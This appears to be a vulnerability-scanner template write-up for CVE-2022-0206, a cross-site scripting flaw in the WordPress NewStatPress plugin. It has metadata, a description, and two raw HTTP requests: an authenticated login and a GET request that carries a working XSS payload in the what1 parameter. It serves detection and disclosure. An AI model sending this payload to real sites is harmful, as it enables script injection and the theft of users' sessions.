| Title | WordPress NewStatPress <1.3.6 - Cross-Site Scripting |
|---|---|
| Author | r3Y3r53 |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement. |
| Remediation | Fixed in version 1.3.6. |
| CVSS Score | 6.1 |
| EPSS Score | 0.01998 |
| CVE ID | CVE-2022-0206 |
| CWE ID | CWE-79 |
| Tags | cve cve2022 xss wp authenticated wordpress wp-plugin newstatpress wpscan newstatpress_project vuln |
WordPress NewStatPress plugin before 1.3.6 is susceptible to cross-site scripting. The plugin does not properly escape the whatX parameters before outputting them back in attributes. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/13.0
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=fCtOL8&pwd=0jxfL4&wp-submit=Log+In
GET /wp-admin/admin.php?page=nsp_search&what1=%27+style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28document.domain%29+x HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.7.20) Gecko/ Firefox/3.6.10
Connection: close
Accept-Encoding: gzip
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